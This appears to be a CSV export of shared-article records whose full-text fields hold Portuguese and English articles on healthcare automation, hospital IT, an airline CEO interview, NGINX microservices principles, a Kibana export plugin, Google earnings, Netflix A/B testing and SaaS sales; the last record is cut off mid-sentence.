1469802383,CONTENT SHARED,6943483335823457240,-2820994773540913369,1700172054225522137,,,,HTML,http://exame.abril.com.br/publicidade/siemens/conteudo-patrocinado/saude-entra-na-era-da-industria-4-0,Saúde entra na era da indústria 4.0 | EXAME.com,"Engana-se quem pensa que a automatização de processos vai se restringir ao chão de fábrica. Uma nova lógica de produção nascida com a indústria 4.0, também conhecida como a quarta revolução industrial, deu início a um processo de digitalização sem precedentes em empresas de todos os tipos e tamanhos, incluindo as que atuam na área de saúde. Um exemplo? A automatização tem levado cada vez mais inteligência ao processamento de exames laboratoriais. Máquinas interconectadas conversam e trocam comandos entre si, organizam o envio de material biológico para o equipamento correto e geram resultados mais precisos e em tempo cada vez mais curto. Esse é o caso do Grupo Sabin, laboratório que nasceu em Brasília e hoje possui cerca de 200 unidades em oito estados e 3 000 funcionários. Uma nova sede prevista para começar a operar no segundo semestre deste ano, em Brasília, vai ampliar e modernizar o parque tecnológico da empresa. Entre as novas plataformas de automação laboratorial está uma esteira de 70 metros que será conectada a 25 robôs capazes de fazer análises de amostras nas áreas de bioquímica, sorologia, hormônios e coagulação. O sistema permitirá à empresa dobrar sua capacidade técnica em até cinco anos, podendo chegar a 4 milhões de exames por mês. Funcionará assim: quando o tubo do exame sair do centro de coleta e chegar ao centro de processamento, um software identificará as informações sobre o paciente e os pedidos médicos para encaminhar o material aos equipamentos específicos. ""O contato do nosso funcionário com a amostra biológica é mínimo, o que reduz também qualquer risco de contaminação, além de aumentar a capacidade produtiva"", afirma Lídia Abdalla, presidente executiva do Grupo Sabin. Com o investimento em novas tecnologias, o Sabin passará a fazer dentro de casa alguns exames que seguiam para parceiros. A tecnologia otimiza o fluxo de trabalho e eleva a qualidade do diagnóstico, assim como o conforto do paciente, uma vez que um único tubo de sangue pode ser usado em vários exames. ""O uso da tecnologia coloca à disposição do cliente o que se tem de melhor no mercado em termos de diagnóstico e análises clínicas"", diz Lídia. Também pensando no conforto do paciente, o laboratório Richet, do Rio de Janeiro, inaugurou, em junho deste ano, o conceito de One Stop Shop, que reúne no mesmo lugar serviços laboratoriais e de diagnóstico de imagem. Tendência mundial, a integração de todos os serviços no mesmo centro de atendimento ainda não tinha chegado à cidade. No Rio de Janeiro, ainda é mais comum a realização de exames de sangue e de imagem em laboratórios distintos. Mas o Richet quer mudar esse conceito com sua nova unidade. ""Em um único lugar, o paciente pode agendar tanto o exame de sangue quanto o de imagem para resolver tudo de forma mais rápida"", afirma Helio Magarinos Torres Filho, diretor médico do Richet. Com investimento de aproximadamente 15 milhões de reais, a unidade recém-inaugurada recebeu uma série de equipamentos de última geração que ampliaram e modernizaram o parque tecnológico da empresa. Entre os equipamentos para exames de imagem estão, por exemplo, aparelhos de ressonância magnética, tomografia computadorizada, PET-CT e raios X digitais. Além disso, a nova unidade se beneficiará também de uma esteira de automação laboratorial de exames de análises clínicas. O novo laboratório oferece ainda atendimento personalizado ao paciente. Durante o agendamento, é possível enviar os dados pessoais e os pedidos médicos para agilizar o atendimento no dia marcado. Se quiser que o processo seja ainda mais rápido, o paciente poderá agendar até mesmo o exame de sangue. ""É uma tendência no modelo de negócios a consolidação de atividades correlatas para fazer com que o paciente tenha o conforto de realizar, em um mesmo período, todos os exames necessários"", diz Enrico De Vettori, sócio e líder nas áreas de life science e healthcare da consultoria Deloitte. Os benefícios também se estendem ao médico, que não só é avisado quando os exames estão prontos como pode acessar os resultados em uma plataforma pela internet. ""Além de ter uma visão mais globalizada do paciente, quem faz o laudo tem dados adicionais para confirmar o resultado ou conversar com o médico sobre o caso"", afirma Torres. Os movimentos feitos pelos laboratórios Sabin e Richet são exemplos de como a área de saúde tem se reinventado com a criação de novos processos que transformam a logística das análises clínicas. ""De todos os negócios hoje no Brasil, um dos que mais tem mudado e incorporado a alta tecnologia é o da saúde"", afirma Vettori, da Deloitte. Segundo ele, as novas tecnologias devem mudar ainda mais esse setor num futuro próximo. ""Gastamos muito dinheiro na fase final de vida do paciente. A tendência, agora, é investir mais em prevenção"", diz Vettori. Isso será possível com o auxílio do conceito de indústria 4.0, que, além de informatizar e gerar produtividade, também poderá melhorar a qualidade de vida da população. LEIA TAMBÉM Entenda como a crise impacta a saúde Tecnologia transforma gestão na área de saúde O Brasil está pronto para a indústria 4.0 ? Como será o profissional da indústria 4.0 Como construir uma fábrica do futuro hoje P or que precisamos de redes inteligentes E squeça a forma como você consome energia",pt
1469803019,CONTENT SHARED,-1068603220639552685,-2820994773540913369,1700172054225522137,,,,HTML,http://saudebusiness.com/tecnologia-e-cuidado/,Onde a tecnologia e o cuidado se encontram? - Saúde Business,"As opiniões dos artigos/colunistas aqui publicadas refletem unicamente a posição de seu autor, não caracterizando endosso, recomendação ou favorecimento por parte da Live Healthcare Media ou quaisquer outros envolvidos nesta publicação. Há algum tempo, o software para hospital tinha uma única função principal, a gestão do negócio. O que se via eram módulos de faturamento, contas a pagar e receber, cálculo de folha e tarefas administrativas sendo geridas através dele. O corpo clínico e os computadores, portanto, viviam em mundos diferentes dentro da mesma instituição. Como muito da prática médica é sobre coletar e analisar informações, a Tecnologia da Informação passou a ter um papel crítico também na assistência a saúde. O surgimento de softwares especializados para o corpo clínico criou a necessidade de um novo olhar sobre os provedores de saúde no que diz respeito à tecnologia, agora onipresente na organização. Os benefícios da informatização na assistência à saúde são inúmeros. Tantos que o governo americano estabeleceu, em 2009, o que foi chamado de HITECH (Health Information Technology for Economic and Clinical Health), que distribuiu mais de U$ 20 bilhões para adoção de prontuário eletrônico do paciente em hospitais e consultórios médicos e impulsionou a TI para saúde no mundo inteiro com esse reconhecimento de importância da área. O Prontuário Eletrônico do Paciente (PEP) é uma ferramenta tecnológica crucial para extrair plenamente esses benefícios. Além de centralizador da informação dos pacientes, ele se tornou um aliado do médico na prática diária. Hoje, esses sistemas geralmente são equipados com ferramentas de apoio a decisão clínica, que indicam possíveis interações medicamentosas e até auxiliam no diagnóstico através de referências de casos similares. Sem contar no acesso fácil a resultados de exames e imagens, evitando, inclusive, solicitações desnecessárias. E com adoção crescente de softwares pelo corpo clínico, sobretudo o Prontuário Eletrônico, as instituições acabaram se transformando em grandes geradores de dados de saúde estruturados. O que antes estava amontoado no Serviço de Arquivo Médico e Estatística (SAME) em pastas e papéis embolorados, agora é largamente disponível de forma informatizada. Esse é o contexto certo para se aplicar o termo Big Data, contribuindo não só para gestão inteligente do próprio hospital e a saúde populacional do país, como avanços científicos na medicina, por análises e interpretação desse crescente conjunto de dados. Essa aproximação do corpo clínico e da TI é irreversível e muito proveitosa para todo o sistema de saúde, o que, no final das contas, significa melhoria no cuidados dos seres humanos. Mas novas soluções trazem novos desafios: temas como nuvem de dados, cibersegurança e interoperabilidade devem fazer parte da agenda dos gestores da área saúde para que seja possível habilitar todo o potencial da informática nesse ambiente de múltiplos players e informações sensíveis e confidenciais protegidas por leis. Para citar um caso real, em fevereiro desse ano, o hospital Hollywood Presbyterian Medical Center foi atacado eletronicamente através de uma técnica chamada de ransomware , onde os criminosos implementaram um software malicioso que bloqueava o acesso a registros médicos de pacientes, obrigando o uso de uma senha para o desbloqueio. Esse sequestro, digno de Hollywood, se repetiu em outras instituições e vem acontecendo com alguma frequência nos EUA. Além disso, o mercado negro paga até 100 dólares por informações médicas roubadas para prática de crimes como fraude ao seguro saúde. Por isso, uma área de competência antes valorizada majoritariamente pelo mercado financeiro, está invadindo o setor de saúde. Tão importante quanto o saldo bancário, a proteção aos dados de saúde, confidenciais por lei, tem elevado a importância da cibersegurança para área. E não só isso, mas quando o uso de softwares de saúde é crucial para o atendimento, é preciso garantir que, além de não serem roubados, os dados não sejam danificados, comprometendo o funcionamento de toda a instituição. No suporte a toda operação de TI dentro de um provedor de saúde, existe ainda a preocupação com a infraestrutura tecnológica. É comum observar salas climatizadas com servidores caros dentro de instituições para cumprir esse papel. A tendência, no entanto, é que essas estruturas sejam menos comuns. Empresas estão direcionando suas ofertas de Cloud Cumputing (nuvem) para o mercado de saúde com foco em redução de custos, redundância, fácil gerenciamento e segurança - indo de encontro com a demanda do setor. A interoperabilidade também é um ponto importante na informatização da saúde. Dentro de um hospital existem muitos players interdependentes, como operadoras, centros de diagnóstico e laboratórios. A comunicação eletrônica entre eles é fundamental para otimização do de atendimento ao paciente, consolidação dos dados clínicos e até o acesso de histórico médico entre diferentes instituições. Para isso, existem padrões para transmissão e semântica de dados estabelecidos por órgãos como o Instituto HL7 e o IHE, que trabalham para que a interoperabilidade seja possível. O hospital do presente requer uma visão holística de TI - da implementação do software certo e interoperável à infraestrutura. E isso, no Brasil, vem de encontro com a profissionalização do setor, que está empoderando cada vez mais o gestor de tecnologia, agora mais próximo do profissional de saúde. Pensando neste contexto, o Hospital Innovation Show unirá as maiores lideranças do setor de saúde para discutir Inovação, Tecnologia e tendências para o setor de saúde. E, dado o papel da Tecnologia da Informação, uma trilha de conteúdo será dedicada ao tema. Nas próximas páginas, você verá ainda entrevistas e matérias que nos inspiraram a criar este encontro, que já foi em 2015 e promete continuar sendo um dos maiores pontos de discussão do tema na América Latina. Esses e outros tópicos serão debatidos por líderes referências do setor no maior trade show de inovação em saúde da América Latina, o Hospital Innovation Show, em uma trilha de conteúdo específica para TI. Venha conversar sobre usabilidade, interoperabilidade, nuvem e cibersegurança nos dias 27 e 28 de setembro em São Paulo e extraia todo o potencial da TI para assistência a saúde em sua instituição. Confira o site do evento .",pt
1469808645,CONTENT SHARED,-4086521633840243549,1317292353478724560,-1073722497838250654,,,,HTML,http://www.uol/economia/especiais/entrevista-claudia-sender.htm,"Claudia Sender, 41 | UOL Economia","Se Claudia Sender pudesse melhorar agora alguma coisa na Latam, seria o atendimento digital, principalmente no celular. Hoje em dia, o passageiro quer cada vez mais controlar sua viagem por meio do digital, do seu jeito. A presidente diz que a empresa tem feito ""investimentos expressivos"" nas plataformas digitais, mas as mudanças demoram. ""Infelizmente, leva tempo para amadurecer, principalmente nesse momento em que estamos harmonizando nossos sistemas [da TAM e da LAN]."" A empresa pretende renovar totalmente o seu sistema de reservas em 2017. ""A partir desse momento, vamos destravar uma série de novas funcionalidades para que o passageiro consiga mesmo ter o controle de sua jornada pelo canal que ele quiser, seja aeroporto, call center ou principalmente o seu aparelho móvel."" Com isso, promete dar ao passageiro a possibilidade de fazer tudo pelo celular: pesquisa de voos, gestão de reembolso ou de bagagem. ""Nosso grande foco hoje é oferecer essa flexibilidade ao passageiro."" Para a presidente da Latam, uma empresa aérea ideal tem de reconhecer as necessidades dos clientes em momentos específicos. ""Um passageiro representa diferentes pessoas em diferentes momentos. Quando viajo a trabalho, minhas necessidades são muito diferentes das de quando viajo a lazer, com as crianças e a família."" Cadeiras especiais para atletas paraolímpicos A Latam é a transportadora aérea oficial da Olimpíada. Todos os atletas voarão pela companhia. Foi numa avião da empresa que a tocha olímpica veio de Genebra (Suíça) para o Rio de Janeiro. ""Foi um voo único, primeira vez que a chama veio para a América do Sul. Teve uma operação de guerra para garantir que não se apagasse"", diz Claudia. Outro desafio é o embarque de atletas paraolímpicos. Haverá voos com muitos cadeirantes ao mesmo tempo. Foi criada uma estrutura especial nos aeroportos, e a Latam criou com o fabricante uma cadeira de rodas especial para embarques. ""Era importante ter uma cadeira que passasse no corredor de aviões, principalmente os menores, que fazem voos domésticos."" Do ponto de vista econômico, Claudia Sender diz que a Olimpíada trará poucos resultados. ""O impacto será um aumento marginal no tráfego para o Rio de Janeiro. Serão variações pequenas de movimento.""",pt
1469813635,CONTENT SHARED,2244894675266276573,7645894863578715801,-1567522149885183848,,,,HTML,https://www.nginx.com/blog/microservices-reference-architecture-part-4-adapting-the-twelve-factor-app/,"Microservices Reference Architecture, Part 4 -12‑Factor App","The NGINX Microservices Reference Architecture is under development. It will be made publicly available later this year, and will be discussed in detail at nginx.conf 2016 , September 7-9 in Austin, TX. Registration is now open . Author's note - This blog post is the fourth in a series: Introducing the Microservices Reference Architecture from NGINX Microservices Reference Architecture, Part 2 - The Proxy Model Microservices Reference Architecture, Part 3 - The Fabric Model Microservices Reference Architecture, Part 4 - Adapting the Twelve‑Factor App for Microservices (this post) We'll extend this list as new posts appear. Upcoming posts will cover the third model in the Microservices Reference Architecture (MRA), the Router Mesh Model, and related topics such as this one. We've also published a separate article about web frontends for microservices applications , and check out these other NGINX resources about microservices: The Twelve‑Factor App Software is increasingly delivered over the Internet as a service. Originally called Software as a Service (SaaS), similar software - with a much stronger emphasis on mobile interaction - is now usually referred to as web apps. The Twelve‑Factor App is a praiseworthy effort by Heroku, a platform as a service (PaaS) provider, to establish general principles for creating useful web apps. However, the original principles are somewhat specific to Heroku's PaaS platform. They aren't an exact fit for a microservices architecture. In implementing the NGINX MRA , we've extended the Twelve‑Factor App with our own additions and microservices‑specific modifications. We've found the amended version extremely useful. For instance, the Twelve‑Factor App specifies that configuration code be stored in environment variables, rather than in configuration files. This is an extremely useful principle for the MRA, which has three different models, with the only difference between them being their configuration code and the number of NGINX Plus servers they use. Building on what we've learned, we in the Microservices practice here at NGINX have developed the following set of principles. Our principles adapt the core ideas in The Twelve‑Factor App to a general‑purpose microservices architecture. We invite you to use these principles in the development of your own apps. We've kept repetition from that document to a minimum. The Twelve Factors Applied to Microservices 1 - Codebase One codebase per service, tracked in revision control; many deploys The Twelve‑Factor App recommends one codebase per app . In a microservices architecture, the correct approach is actually one codebase per service. Additionally, we strongly recommend the use of Git as a repository, because of its rich feature set and enormous ecosystem. GitHub has become the default Git hosting platform in the open source community, but there are many other excellent Git hosting options, depending on the needs of your organization. 2 - Dependencies Explicitly declare and isolate dependencies As suggested in The Twelve‑Factor App, regardless of what platform your application is running on, use the dependency manager included with your language or framework. How you install operating system or platform dependencies depends on the platform: In noncontainerized environments, use a configuration management tool (Chef, Puppet, Ansible) to install system dependencies. In a containerized environment, do this in the Dockerfile. Note: We recommend that you choose a dependency management mechanism in the context of your comprehensive InfrastructureasCode strategy, not as an isolated decision. See Martin Fowler's writings on Infrastructure&‑as‑Code ADD NGINX resources here. 3 - Config Store configuration in the environment Anything that varies between deployments can be considered configuration. The Twelve‑Factor App guidelines recommend storing all configuration in the environment , rather than committing it to the repository. We recommend the following specific practices: Use non‑version controlled .env files for local development. Docker supports the loading of these files at runtime. Keep all .env files in a secure storage system, such as Vault , to keep the files available to the development teams, but not commited to Git. Use an environment variable for anything that can change at runtime, and for any secrets that should not be committed to the shared repository. Once you have deployed your application to a delivery platform, use the delivery platform's mechanism for managing environment variables. 4 - Backing Services Treat backing services as attached resources The Twelve‑Factor App guidelines define a backing service as ""any service the app consumes over the network as part of its normal operation."" The implication for microservices is that anything external to a service is treated as an attached resource, including other services. This ensures that every service is completely portable and loosely coupled to the other resources in the system. Additionally, the strict separation increases flexibility during development - developers only need to run the service(s) they are modifying, not others. 5 - Build, Release, Run Strictly separate build and run stages To support strict separation of build, release, and run stages , as recommended by The Twelve‑Factor App, we recommend the use of a continuous integration/continuous delivery (CI/CD) tool to automate builds. Docker images make it easy to separate the build and run stages. Ideally, images are created from every commit and treated as deployment artifacts. 6 - Processes Execute the app in one or more stateless processes For microservices, the important point in the Processes factor is that your application needs to be stateless. This makes it easy to scale a service horizontally by simply adding more instances of that service. Store any stateful data, or data that needs to be shared between instances, in a backing service. 7 - Data Isolation Each service manages its own data As a modification to make the Port binding factor more useful for microservices, we recommend that you allow access to thepersistent data owned by a service only via the service's API. This prevents implicit service contracts between microservices and ensures that microservices can't become tightly coupled. Data isolation also allows the developer to choose, for each service, the type of data store that best suits its needs. 8 - Concurrency Scale out via the process model The Unix process model is largely a predecessor to a true microservices architecture, insofar as it allows specialization and resource sharing for different tasks within a monolithic application. In a microservices architecture, you can horizontally scale each service independently, to the extent supported by the underlying infrastructure. With containerized services, you further get the concurrency recommended in the Twelve‑Factor App, for free. 9 - Disposability Maximize robustness with fast startup and graceful shutdown Instances of a service need to be disposable so they can be started, stopped, and redeployed quickly, and with no loss of data. Services deployed in Docker containers satisfy this requirement automatically, as it's an inherent feature of containers that they can be stopped and started instantly. Storing state or session data in queues or other backing services ensures that a request is handled seamlessly in the event of a container crash. We are also proponents of using a backing store to support crash‑only design . 10 - Dev/Prod Parity Keep development, staging, and production as similar as possible Keep all of your environments - development, staging, production, and so on - as identical as possible , to reduce the risk that bugs show up only in some environments. To support this principle, we recommend, again, the use of containers - a very powerful tool here, as they enable you to run exactly the same execution environment all the way from local development through production. Keep in mind, however, that differences in the underlying data can still cause differences at runtime. 11 - Logs Treat logs as event streams Instead of including code in a microservice for routing or storing logs, use one of the many good log‑management solutions on the market, several of which are listed in the Twelve‑Factor App . Further, deciding how you work with logs needs to be part of a larger APM and/or PaaS strategy. 12 - Admin Processes Run admin and management tasks as one‑off processes In a production environment, run administrative and maintenance tasks separately from the app. Containers make this very easy, as you can spin up a container just to run a task and then shut it down. Conclusion Use the Twelve‑Factor App and these additional principles to help you create robust microservices‑based apps. In addition, the MRA is like a cheat code to help you go further, faster, than if you had to start from scratch. To try NGINX Plus, start your free 30‑day trial today or contact us for a live demo.",en
1469814927,CONTENT SHARED,980458131533897249,-6786856227257648356,6488968056846413968,,,,HTML,https://minewhat.com/blog/elasticsearch-csv-exporter-for-kibana-discover/,Elasticsearch: CSV exporter for Kibana Discover,"Why? We use Elasticsearch + Kibana for data analysis, and we love it. Very often, we share the results of our analysis with the team. Kibana expects us to visualize data in the form of graphs and charts, but some use cases are more tuned for data-table with raw filtered query results. Surprisingly, there is no way to export CSV or create a data table in Kibana. A quick Google search gave these results, not only us; many are waiting for this feature. Solution: We did a quick hack to GTD in the startup way; we have written a chrome plugin, it injects the CSV export functionality in Kibana Discover tab. Business Users: Go ahead install this plugin from the chrome web store. Developers: Here is the Github link, and it is an open source project under MIT license. Please go ahead and tweak for you need. It would be great if you can provide a link back to this blog from the places you refer. Future: We can write an elasticsearch plugin and pair it with this chrome plugin to make it powerful. We know Kibana team is trying to solve this problem in a holistic way, it takes time, so we thought this might help users like us. Let us know, what you think?",en
1469815700,CONTENT SHARED,5934557073194045393,-1443636648652872475,4824051077713567006,,,,HTML,http://www.wired.com/2016/07/googles-cloud-investments-finally-starting-pay-off/,Google's Cloud Investments are Finally Starting to Pay Off,"Investors are pleased with Google. Its parent company, Alphabet, beat analyst expectations by 39 cents a share this quarter and is up more than 4 percent in after hours trading. Overall, Google increased revenue by 21 percent over last year to $20.5 billion. Most of the money-and growth-came from advertising, which always has been Google's main revenue stream. But the better news for Alphabet is that it's seeing growth in other areas, like cloud computing and Google Fiber. Seeing the company's growth in search, you might wonder why Alphabet is even investing in things like cloud computing, virtual reality and broadband Internet. In fact, the company's ""Other Bets"" portfolio, which includes Google Fiber, connected home company Nest, and founder Larry Page's moonshots, lost about $859 million this quarter-even more than it did last quarter. Advertising, meanwhile, grew 19 percent, largely on increased revenue from mobile search and YouTube ads. Take a closer look, though, and you'll see something that's bothered investors for a few years. Google's expenses keep growing, even as the amount of money advertisers pay per click shrinks. Put another way, even though Google is garnering more advertising clicks, it's making less on each one while spending more to get it. Investors want to see widening profit margins, especially from a company Google's age. That explains why Google is so invested in finding other ways of making money. Other Bets did increase its revenue to $185 million, compared to $74 million this time last year, mostly on the strength of Google Fiber. But it's still far from profitable, and CFO Ruth Porat said during the earnings call that she expects the service to roll out gradually. In the near term, Google is counting on cloud computing. Alphabet's ""Google other revenues"" segment-not to be confused with its ""Other Bets""-includes its Google Cloud Platform services, the business-focused Google Apps line, Google Play and hardware. This segment raked in about $2.2 billion, up 33 percent over this time last year. Credit that largely to gains in the cloud services and Google Apps, Porat said. Those numbers aren't broken out individually, making it impossible to know just how well Google is doing in the cloud. Meanwhile, Amazon, one of the few companies to report its cloud revenue separately, netted about $2.9 billion from its cloud services last quarter. Google is still playing catch-up, but Amazon's lead is shrinking even as its business grows. For the first time in its existence, Google-or technically, its parent company, Alphabet-posted quarterly results with its earnings cleaved into two. There's the main Google Internet businesses, which includes search and advertising operations; and its riskier moonshots, its so-called ""other bets."" Now, also for the first time, we know how much it costs Google to shoot for the moon. According to the company's latest earnings report, Alphabet's forays into health technology, self-driving cars and delivery drones, among other moonshots, lost the company $3.6 billion last year, compared to $1.9 billion in 2014. But those same efforts did generate more revenue this year for a total of $448 million, a 37 percent increase from 2014. That may sound expensive. But we also finally got a glimpse into how well Google's core Internet businesses are doing-and it's doing very well, indeed. Search, advertising, YouTube and Android, among others, brought in $74.5 billion in revenue compared to $65.7 billion last year-a 13.5 percent gain. Yearly operating income raked in $23.4 billion, rising 23 percent from $19.01 billion one year ago. The company is also showing evidence of increased spending discipline under Alphabet's Wall Street-trained CFO, Ruth Porat. Capital expenditures shrank to $2.1 billion in the last three months of 2015, compared to $3.55 billion a year earlier. Net income for the fourth quarter, meanwhile, rose $4.92 billion from $4.68 billion a year earlier. Finally, Alphabet revealed this afternoon that it has $73 billion cash on hand-enough to keep funding its moonshots for years to come. Google's parent company, Alphabet, is now the most valuable company in the world. On Monday, Alphabet released its fourth-quarter earnings , for the first time in its short existence. (As a quick refresher: Google gave itself a parent company last year so that it could separate its riskier businesses from the core earners .) These results today are split in two: Alphabet's massively profitable search and advertising business (which includes Google), and its ""other bets""-the so-called moonshots-which include Google Fiber, its high-speed Internet service; Venture and Capital, its early and growth-stage investing arms; and X lab, home to such efforts as self-driving cars and delivery drones; among others. Whether it was smart for Google to split itself up in such a manner had remained to be seen until today. Now, it's clear this was a great move. The company just reported a net income of $8.67 per share on revenue of $21.33 billion, up 18 percent from the same period one year ago. And that handily beat Wall Street's estimates, of an income per share of $8.10 on revenue of $20.8 billion. That good news sent company stock shooting up nearly 10 percent in after-hours trading. Best of all for Alphabet investors, this success means the company is now worth more than Apple-for the very first time in the history of both companies. Alphabet's market cap is now about $560 billion, surpassing Apple, which currently sits at $540 billion. Oddly, this also means that the most valuable company in the world is now one many people haven't even heard of.",en
1469818972,CONTENT SHARED,-2237790708081130271,-6627505417926774253,-2856172625122944336,,,,HTML,https://uxdesign.cc/how-netflix-does-a-b-testing-87df9f9bf57c?gi=ccd7d5c85405,How Netflix does A/B Testing - uxdesign.cc - User Experience Design,"How Netflix does A/B Testing Have you ever wondered why Netflix has such a great streaming experience? Do you want to learn how they completed their homepage plus other UI layout redesigns through A/B testing? If so, then this article is for you! I'll start with sharing my takeaways from a Designers+Geeks event I attended last week at Yelp . The two great speakers Anna Blaylock and Navin Lyengar, both product designers at Netflix , walked through insights gleaned from their years of A/B testing on tens of millions of Netflix members, and showed some relevant examples from the product to help attendees think about their own designs. Experimentation I really liked this first slide of the presentation and think it's smart to use an image from the TV show "" Breaking Bad "" to explain the concept of experimentation! The Scientific Method Hypothesis In science, a hypothesis is an idea or explanation that you then test through study and experimentation. In design, a theory or guess can also be called a hypothesis . The basic idea of a hypothesis is that there is no pre-determined outcome. It is something that can be tested and that those tests can be replicated. ""The general concept behind A/B testing is to create an experiment with a control group and one or more experimental groups (called ""cells"" within Netflix) which receive alternative treatments. Each member belongs exclusively to one cell within a given experiment, with one of the cells always designated the ""default cell"". This cell represents the control group, which receives the same experience as all Netflix members not in the test."" - Netflix blog Here's how A/B testing is done at Netflix: as soon as the test is live, they track specific metrics of importance. For example, it could be elements like streaming hours and retention. Once the participants have provided enough meaningful conclusions, they move onto the efficacy of each test and define a winner out of the different variations. Experiment Experimentation is the act of experimenting .Many companies like Netflix run experiments to generate user data. It is also important to take time and effort to organize the experiment properly to ensure that both the type and amount of data is sufficient and available to clarify the questions of interest as efficiently as possible. You probably have noticed that the featured show on the Netflix homepage seems to change whenever you log in. They're all part of Netflix's complex experiments to get you to watch their shows. The idea of A/B testing is to present different content to different user groups, gather their reactions and use the results to build strategies in the future. According to this blog post written by Netflix engineer Gopal Krishnan : If you don't capture a member's attention within 90 seconds, that member will likely lose interest and move onto another activity. Such failed sessions could at times be because we did not show the right content or because we did show the right content but did not provide sufficient evidence as to why our member should watch it. Netflix did an experiment back in 2013 to see if they can create a few artwork variants that increase the audience for a title. Here is the result: It was an early signal that members are sensitive to artwork changes. It was also a signal that there were better ways they could help Netflix members find the types of stories they were looking for within the Netflix experience. Netflix later created a system that automatically grouped artwork that had different aspect ratios, crops, touch ups, localized title treatments but had the same background image. They replicated experiment on their other TV shows to track relative artwork performance. Here are some examples: How Netflix selects the best artwork for videos through A/B testing The Netflix experimentation platform , a service which makes it possible for every Netflix engineering team to implement their A/B tests with the support of a specialized engineering team. Check out these two blog posts to learn more about Netflix A/B testing: What I learned When and why A/B testing Once you have a design in production, use A/B testing to tweak the design and target two key metrics: retention and revenue. By A/B testing changes throughout the product and tracking users over time, you can see whether your change improves retention or increases revenue. If it does, make it the default. In this way A/B testing can be used to continuously improve business metrics. Are your users finding or doing one thing you want them to find or to do? My experience is that often times users cannot always complete a task as fast as you expect, and sometimes they can't even find a certain button you put on a page. The reasons can vary: it might because the design is not intuitive enough; the color is not vibrant enough; the user is not tech savvy; they don't know how to make a decision because there are too many options on one page, and so on. Are your intuitions correct? Sadly, when it comes to user behavior, our intuitions could be wrong, and the only way to prove it is through A/B testing. It is the best way to validate whether one UX design is more effective than another. At work, our consumer product team have proved that through A/B testing on our real estate website. For example, they wanted to figure out whether they can make a design change to improve the registration rate for users who clicked on a Google Ad. They created a few different experimental designs and tested them. They thought the design that only hides the property image would win, but found that the design that hides both the property image and the price got the highest conversation rate. Explore the boundaries The best ideas come from many idea explorations. At work, our product team works collaboratively across many different projects. With so many parties involved (from designers to product managers to developers), we get to explore the boundaries together. Some of the best ideas are sometime from the developers or the product managers after testing out our prototypes. Observe what people do, not what they say When talking to users, it's important to keep this in mind: they always say one thing but do it differently. I conducted a few user testing sessions this week and have one perfect example to show you why. I had this one user testing out a Contacts list view prototype and asked him if he usually sorts/filters his Contacts. He said no because he wouldn't need do so. However, when he discovered the new filters dropdown menu, he was amazed by how convenient it is to sort and filter multiple options at a time and immediately asked when that can roll out in production. Use data to estimate size of opportunity * It's always about the whys * Data can help shape ideas * Check if any A/B testing are in conflict A/B testing is the most reliable way to learn user behaviors. As designers, we should think about our work through the lens of experimentation. Isn't it so fun to be a UI and UX designer? :) Knowing your user is the most exciting part of design process! There is no finished design, but many chances for iteration to improve the design and give our users the best experience possible! I enjoy the opportunity to make subtle tweaks for our users, measure their reactions and work with the product team to figure out the next steps. If you like this article, please kindly tap the ❤ button below! :)",en
1469819995,CONTENT SHARED,6519443272707698315,8766802480854827422,-8534301860414756085,,,,HTML,https://www.linkedin.com/pulse/two-different-sales-motions-geoffrey-moore,Two Different Sales Motions . . . .,"I have been spending a fair amount of time recently with sales organizations selling SaaS applications to enterprises of all sizes around the globe, and the most successful ones are bumping up against a familiar challenge in sales management. To put it simply, what looks like one sales cycle that can be managed by one end-to-end pipeline model is diverging into two separate ones. Here's a snapshot of how it is playing out: Sales motion 1 optimizes around deals less than $500K, often significantly so. They are normally funded out of an existing IT budget, typically where a SaaS application is directly displacing a legacy on-premise predecessor. This is frequently the ""land"" move in a land-and-expand sales strategy, and the key is to find the openings, qualify them clearly and crisply, and then win the deals. These deals are typically quite competitive, both with the legacy vendor who is about to get displaced as well as with other SaaS vendors pursuing the same opportunity. Deal size is measured in terms of ACV, the annual contract value for the first year. Lead generation focuses primarily on top-of-the-funnel pipeline development based on connecting on-line or in person at an event, the goal being to schedule an on-site meeting with a key influencer. Middle of the funnel progress is a function of strong product and solution marketing and good systems engineers who can help navigate the specifics of the prospective customer's IT environment. Bottom of the funnel is all about closing, and the recurrent winners tend to be the people best at that art. If this all sounds familiar, it should. It has generated the bulk of SaaS enterprise sales bookings for the past decade. That is, unlike the prior era of client-server systems where big global deals dominated the landscape and later on trickled down to the mid-market, in SaaS it was the mid-market that took off first, with global deals coming in much more slowly. That's because the value proposition for a mid-market company was incredibly compelling-Global 500 quality infrastructure with very low cap ex, pay-as-you-go op ex, and low overhead for in-house IT. Interestingly, none of these value propositions are particularly compelling to G500 CIOs who have already invested most of the necessary cap ex, do not need to slow roll their op ex, and are deeply committed to an in-house IT organization regardless. For them the issues that dominate Sales Motion #1 are at best a second tier concern. Hence the need for Sales Motion #2. Sales Motion #2 focuses on modernizing an enterprise's current operating model by leveraging next-generation technology, whether to get ahead of the competition or to catch up to it. With all the process reengineering and change management entailed, the overall budget is typically multiple millions of dollars, even tens of millions, within which the IT portion is likely to be well north of $1 million. So the good news is this is going to be a big deal. The bad news is that there is no line item in the IT budget that corresponds to this work. As a result, the project has to be sponsored by the line-of-business executive who oversees the operations to be modernized. That person needs to redirect part of his or her budget to fund the IT portion of work. Until this commitment is secured, the opportunity is not fully qualified. The silver lining here is that the vendor who helps secure this commitment typically has the inside track to winning the deal, often without having it put out for competitive bid. That's because they have become such a trusted advisor and have made themselves so knowledgeable about the prospect's operations that it becomes hard for the customer to imagine working with anyone else. This sort of sales motion does not begin with conventional bottom-up lead generation. The key introduction to the line of business executive most often comes as a peer-to-peer referral from someone in your (or your company's) network who is happy to broker the relationship. At that first meeting the vendor must demonstrate sufficient thought leadership in the issues facing the executive that they commit to exploring the opportunity more deeply. Once serious interest has been confirmed, the middle of the sales funnel is taken up with solution architects conducting the consultative interactions needed to complete that exploration-often via one or more workshops followed up with deeper dives as needed-all leading up to a draft proposal. That proposal is couched first in business language that resonates with the line of business sponsor's vision and then translated into IT language that maps to the products and services needed to implement that vision. Closing is a matter of getting everyone's fingerprints on that proposal, both on the line of business and the IT side, including whatever partners and allies are needed to deliver on the total promise. This is an act of orchestration that requires open communication, collaborative spirit, and trust-hence the claim that collaborators win. Everyone gets that both sales motions are needed, and that most account executives are likely to be considerably better at one of them than the other. What sales executive do not acknowledge is that there are two distinct sales pipelines at work here requiring two distinct Lead-to-Close stage templates. Instead, everyone is expected to pour their opportunities into a single, standard template, which typically defaults to Sales Motion #1. And then they wonder why the organization struggles with Sales Motion #2. Enough is enough. Two playbooks require two templates, with AEs making the call as to which play they 